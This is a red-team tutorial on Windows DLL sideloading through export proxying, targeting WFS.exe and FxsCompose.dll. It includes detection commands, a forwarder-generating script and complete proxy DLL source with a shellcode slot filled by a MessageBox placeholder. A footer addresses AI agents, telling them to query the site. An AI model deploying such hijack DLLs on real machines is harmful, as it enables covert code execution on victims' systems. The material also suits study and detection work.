# DLL Sideloading not by DLLMain

## Identifying potential hijacks

DLL sideloading is a technique that attackers can use to inject malicious code into a legitimate process by replacing or "sideloading" a dynamic-link library (DLL) that the process is dependent on. This can be a serious security concern because it allows attackers to execute arbitrary code on a victim's machine without the victim's knowledge.

To identify potential DLL sideloading hijacks, there are a few approaches you can take. One option is to use the WFH (Windows Function Hijacking) tool, which is specifically designed to detect DLL function hijacks. WFH is able to identify both DLLMain hijacks and GetProcAddress hijacks.

Alternatively, you can manually detect DLL sideloading hijacks using the Frida tool. To do this, you can use the Frida command line interface to attach to a running executable and then use a JavaScript script called "loadlibrary.js" (comes with WFH tool) to monitor for DLL loads.

To run WFH or Frida to detect DLL sideloading hijacks, you can use the following commands:

{% code title="Frida" overflow="wrap" %}

```
frida -f C:\Windows\System32\<any.exe> -l loadlibrary.js
```

{% endcode %}

<figure><img src="https://2978447173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MDtkWzdvgRTZWDjfsGa%2Fuploads%2FhFr1wN4gwICy7VmpMw7B%2Fimage.png?alt=media&#x26;token=a745917c-c00a-4a59-ade2-28d71360ada9" alt=""><figcaption></figcaption></figure>

```
python wfh.py -t C:\Windows\System32<any.exe> -m dll
```

When using either of these tools, you should be on the lookout for the following string of text in the output or log file, as it indicates a potential DLL export sideloading attack:

{% code overflow="wrap" %}

```
[-] Potential DllExport Sideloading: GetProcAddress,hModule : C:\WINDOWS\SYSTEM32\FxsCompose.dll, LPCSTR: HrInitComposeFormDll
```

{% endcode %}

In this blogpost, we'll be hijacking WFS.exe which is present in Windows 11 operating system (if Windows fax service is enabled)

### Is that function really called

It is worth noting that the GetProcAddress functions listed in the output above may not always indicate a DLL sideloading attack. This can happen because the function call may have been prepared in advance using GetProcAddress, but the function was never actually called due to the arguments passed or the executable taking a different code path.

To find for sure if the function was called (which would result in DLL sideload) we will use another frida script as below&#x20;

{% code title="sure.js" overflow="wrap" lineNumbers="true" %}

```javascript
// to make sure the dll is loaded before the function intercept is introduced
const dllName = "C:\\WINDOWS\\SYSTEM32\\FxsCompose.dll";
Module.load(dllName);

//find the address of the function
var pHrInitComposeFormDll = Module.findExportByName("FxsCompose.dll","HrInitComposeFormDll");


//intercept the call
Interceptor.attach(pHrInitComposeFormDll, {
    onEnter: function (args) {
        send("The function was called")
    },
    onLeave: function (retval) {
    }
});
```

{% endcode %}

To load this use the following command . Make note of --pause argument. The argument is used to pause the execution of the exe, allowing the script to load properly before exe runs

```
frida -f C:\Windows\System32\WFS.exe -l sure.js --pause
```

after running this, you will be in a pause state in frida console . Use the following command in frida console to continue execution of executable&#x20;

```
%resume
```

If you see the string "The function was called" in the output, it means that the function has been called and the DLL sideload will function as expected. This is a confirmation that the DLL sideloading attack was successful.

<figure><img src="https://2978447173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MDtkWzdvgRTZWDjfsGa%2Fuploads%2FRiTp8IshPcrMqbd4f16S%2Fimage.png?alt=media&#x26;token=1d30ed3e-5a98-44e4-8153-94d14e5948fe" alt=""><figcaption><p>Frida DLL sideload confirmation</p></figcaption></figure>

We see that the string "The function was called", which confirms the presence of DLL sideload.

### Making a Sideloadable DLL

This is the point where many people just insert their payload into the DLLMain function and consider the task complete.

Here's how to do it quickly and correctly

#### &#x20;Step 1: Create a DLL project

<figure><img src="https://2978447173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MDtkWzdvgRTZWDjfsGa%2Fuploads%2FjUGrpxdlKwx7Yk5z0BaI%2Fimage.png?alt=media&#x26;token=0798a0c8-c291-4b7c-9b5f-f322efd93583" alt=""><figcaption><p>Make a DLL project</p></figcaption></figure>

<figure><img src="https://2978447173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MDtkWzdvgRTZWDjfsGa%2Fuploads%2FDvi2eS1xORtGsRuWrH5T%2Fimage.png?alt=media&#x26;token=69df4949-e28d-404a-bfd5-80f8e96cdb67" alt=""><figcaption><p>Give it the name of DLL</p></figcaption></figure>

#### Step 2: You will see a blank project like below

<figure><img src="https://2978447173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MDtkWzdvgRTZWDjfsGa%2Fuploads%2FwMI7s0Ba0pNRJxLECR1R%2Fimage.png?alt=media&#x26;token=f7cd469f-c835-4715-baef-06c6c3685dcf" alt=""><figcaption><p>Blank DLL Project</p></figcaption></figure>

#### Step 3: Create the pragma comment for proxying the calls to the original DLL. Use the following script to generate them quickly&#x20;

{% code title="comment.py" overflow="wrap" lineNumbers="true" %}

```python
import pefile
import optparse
import os

def test(path):
    if os.path.exists(path)==False:
        print("[-] File Not Found:{}".format(path))
    else:
        dllname=str(path).rstrip(".dll")
        formats="#pragma comment(linker,\"/export:{funcion}={dllname}.{funcion_},@{ordinal}\")"
        pe=pefile.PE(path)
        modules=pe.DIRECTORY_ENTRY_EXPORT.symbols
        for module in modules:
            modulename=module.name.decode()
            print(formats.format(funcion=modulename,dllname=dllname,funcion_=modulename,ordinal=module.ordinal))

if __name__ == '__main__':
    parser=optparse.OptionParser()
    parser.add_option('-f',dest="file",help="Dll Path")
    (option,args)=parser.parse_args()
    if option.file:
        test(option.file)
    else:
        print("Usage:python comment.py -f C:\\Windows\\System\\kernel32.dll")
        parser.print_help()
```

{% endcode %}

Run the script as follows&#x20;

```
python comment.py -f C:\\WINDOWS\\SYSTEM32\\FxsCompose.dll
```

You will receive the following output

```
#pragma comment(linker,"/export:DllMain=C:\\WINDOWS\\SYSTEM32\\FxsCompose.DllMain,@15")
#pragma comment(linker,"/export:FaxComposeFreeBuffer=C:\\WINDOWS\\SYSTEM32\\FxsCompose.FaxComposeFreeBuffer,@1")
#pragma comment(linker,"/export:HrAddressBookPreTranslateAccelerator=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrAddressBookPreTranslateAccelerator,@2")
#pragma comment(linker,"/export:HrDeInitAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrDeInitAddressBook,@3")
#pragma comment(linker,"/export:HrDeinitComposeFormDll=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrDeinitComposeFormDll,@4")
#pragma comment(linker,"/export:HrFaxComposePreTranslateAccelerator=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrFaxComposePreTranslateAccelerator,@5")
#pragma comment(linker,"/export:HrFreeDraftsListViewInfo=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrFreeDraftsListViewInfo,@6")
#pragma comment(linker,"/export:HrGetDraftsListViewInfo=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrGetDraftsListViewInfo,@7")
#pragma comment(linker,"/export:HrInitAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInitAddressBook,@8")
#pragma comment(linker,"/export:HrInitComposeFormDll=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInitComposeFormDll,@9")
#pragma comment(linker,"/export:HrInvokeAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInvokeAddressBook,@10")
#pragma comment(linker,"/export:HrNewFaxComposeUI=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewFaxComposeUI,@11")
#pragma comment(linker,"/export:HrNewFaxComposeUIFromFile=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewFaxComposeUIFromFile,@12")
#pragma comment(linker,"/export:HrNewTiffViewUIFromFile=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewTiffViewUIFromFile,@13")
#pragma comment(linker,"/export:HrSelectEmailRecipient=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrSelectEmailRecipient,@14")

```

#### Step 4: Copy the lines to the project

<figure><img src="https://2978447173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MDtkWzdvgRTZWDjfsGa%2Fuploads%2FWorrkAAxC6cTYKrbbUZj%2Fimage.png?alt=media&#x26;token=9dfe17cc-eacc-4334-ac38-66076ddbb9e9" alt=""><figcaption></figcaption></figure>

#### Step 5: Comment the function which we want to hijack which is HrInitComposeFormDll

<figure><img src="https://2978447173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MDtkWzdvgRTZWDjfsGa%2Fuploads%2FhULmTPggvEnkG88eyTuI%2Fimage.png?alt=media&#x26;token=4dfba7bd-c004-4858-bfd4-e82a629a978b" alt=""><figcaption></figcaption></figure>

#### Step 6: Find the function prototype&#x20;

Use Ghidra, load the DLL and find the function in the export table

<figure><img src="https://2978447173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MDtkWzdvgRTZWDjfsGa%2Fuploads%2FEKaJDF0NkzJpF4JREqXz%2Fimage.png?alt=media&#x26;token=30cb0a1a-b865-42d2-bcd1-017e6b1ce6f2" alt=""><figcaption><p>Ghidra decomplication of FxsCompose.dll</p></figcaption></figure>

Copy the function definition and keep it handy&#x20;

#### Step 7: Define the proxy function in the def file&#x20;

Make a def file and provide the following text&#x20;

<figure><img src="https://2978447173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MDtkWzdvgRTZWDjfsGa%2Fuploads%2FQOBabduuzwLQlwwkxS6J%2Fimage.png?alt=media&#x26;token=701dc7e9-2e87-4439-b80c-c3a56070ce4d" alt=""><figcaption><p>Add new item</p></figcaption></figure>

<figure><img src="https://2978447173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MDtkWzdvgRTZWDjfsGa%2Fuploads%2FmZdLPi0FbtwRLH2ZLTMd%2Fimage.png?alt=media&#x26;token=22d837bf-83fd-4d16-beed-e6bd37b34e4f" alt=""><figcaption><p>Provide a name</p></figcaption></figure>

Put the following contents

{% code title="FxsCompose.def" overflow="wrap" lineNumbers="true" %}

```
LIBRARY FxsCompose.dll
EXPORTS
	HrInitComposeFormDll=ProxyFunction
```

{% endcode %}

Line number 3 defines the function name to redirect the call to when HrInitComposeFormDll is called

Add the module definition setting in Visual Studio&#x20;

<figure><img src="https://2978447173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MDtkWzdvgRTZWDjfsGa%2Fuploads%2F4yJrywvibFfXGVziNs0F%2Fimage.png?alt=media&#x26;token=68988127-a07e-45a8-b1e3-58eb9f58be05" alt=""><figcaption><p>Adding module definition file</p></figcaption></figure>

#### Step 8: Make the proxy function&#x20;

Before we add the proxy function, we need to make a typedef of the original function(HrInitComposeFormDll). This is required to pass the call to the original HrInitComposeFormDll once we load our payload&#x20;

the typedef is very similar to the function definition we saw in the Ghidra decompilation&#x20;

```cpp
typedef DWORD (*HrInitComposeFormDll_Type)(void);
```

the format is&#x20;

```cpp
typedef <output type> (*functionname_Type)(functionArguments)
```

Put this line after  the pragma comments like we previously added to dllmain.cpp&#x20;

Now its time to define the ProxyFunction . Again the prototype should be very similar to the original HrInitComposeFormDll function definition&#x20;

```cpp
DWORD ProxyFunction(void) {

    //Load your shellcode here.. I'm going to load MessageBox 
    MessageBox(NULL, L"Shellcode Loaded", L"Shellcode Loaded", MB_OK);

    // Load original DLL and get function pointer
    HMODULE hModule = LoadLibrary(L"C:\\Windows\\System32\\FxsCompose.dll");
    HrInitComposeFormDll_Type Original_HrInitComposeFormDll = (HrInitComposeFormDll_Type)GetProcAddress(hModule, "HrInitComposeFormDll");

    // Call original function
    DWORD result = Original_HrInitComposeFormDll();

    return result;
}
```

#### Below is the full dllmain.cpp code and FxsCompose.def&#x20;

```cpp
// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"


#pragma comment(linker,"/export:DllMain=C:\\WINDOWS\\SYSTEM32\\FxsCompose.DllMain,@15")
#pragma comment(linker,"/export:FaxComposeFreeBuffer=C:\\WINDOWS\\SYSTEM32\\FxsCompose.FaxComposeFreeBuffer,@1")
#pragma comment(linker,"/export:HrAddressBookPreTranslateAccelerator=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrAddressBookPreTranslateAccelerator,@2")
#pragma comment(linker,"/export:HrDeInitAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrDeInitAddressBook,@3")
#pragma comment(linker,"/export:HrDeinitComposeFormDll=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrDeinitComposeFormDll,@4")
#pragma comment(linker,"/export:HrFaxComposePreTranslateAccelerator=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrFaxComposePreTranslateAccelerator,@5")
#pragma comment(linker,"/export:HrFreeDraftsListViewInfo=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrFreeDraftsListViewInfo,@6")
#pragma comment(linker,"/export:HrGetDraftsListViewInfo=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrGetDraftsListViewInfo,@7")
#pragma comment(linker,"/export:HrInitAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInitAddressBook,@8")
//#pragma comment(linker,"/export:HrInitComposeFormDll=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInitComposeFormDll,@9")
#pragma comment(linker,"/export:HrInvokeAddressBook=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrInvokeAddressBook,@10")
#pragma comment(linker,"/export:HrNewFaxComposeUI=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewFaxComposeUI,@11")
#pragma comment(linker,"/export:HrNewFaxComposeUIFromFile=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewFaxComposeUIFromFile,@12")
#pragma comment(linker,"/export:HrNewTiffViewUIFromFile=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrNewTiffViewUIFromFile,@13")
#pragma comment(linker,"/export:HrSelectEmailRecipient=C:\\WINDOWS\\SYSTEM32\\FxsCompose.HrSelectEmailRecipient,@14")

typedef DWORD(*HrInitComposeFormDll_Type)(void);

DWORD ProxyFunction(void) {

    //Load your shellcode here.. I'm going to load MessageBox 
    MessageBox(NULL, L"Shellcode Loaded", L"Shellcode Loaded", MB_OK);

    // Load original DLL and get function pointer
    HMODULE hModule = LoadLibrary(L"C:\\Windows\\System32\\FxsCompose.dll");
    HrInitComposeFormDll_Type Original_HrInitComposeFormDll = (HrInitComposeFormDll_Type)GetProcAddress(hModule, "HrInitComposeFormDll");

    // Call original function
    DWORD result = Original_HrInitComposeFormDll();

    return result;
}



BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}


```

{% code title="FxsCompose.def" overflow="wrap" lineNumbers="true" %}

```cpp
LIBRARY FxsCompose.dll
EXPORTS
	HrInitComposeFormDll=ProxyFunction
```

{% endcode %}

#### Compile the DLL

You can include /MT or /MD flag optionally

<figure><img src="https://2978447173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MDtkWzdvgRTZWDjfsGa%2Fuploads%2FYNvycijH21xzD5mIgbK9%2Fimage.png?alt=media&#x26;token=ac4bdba1-e131-495e-9d89-ea2989a43835" alt=""><figcaption><p>Setting Runtime Library</p></figcaption></figure>

Compile the release DLL

#### Running the DLL Sideload

<figure><img src="https://2978447173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MDtkWzdvgRTZWDjfsGa%2Fuploads%2FhWxNtxHp311S0xkHTSLp%2Fimage.png?alt=media&#x26;token=2f784d1a-980e-47b0-877d-a292cc7179f4" alt=""><figcaption></figcaption></figure>

Copy the exe and the DLL in one folder&#x20;

run the exe&#x20;

<figure><img src="https://2978447173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MDtkWzdvgRTZWDjfsGa%2Fuploads%2FiIn2sFh8JencHBMttigE%2Fimage.png?alt=media&#x26;token=aec4e125-5ab5-4f4f-a46d-d5852443b9a0" alt=""><figcaption></figcaption></figure>

### Project Files

On my GitHub here <https://github.com/shantanu561993/DLL-Sideload>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.redteam.cafe/red-team/dll-sideloading/dll-sideloading-not-by-dllmain.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
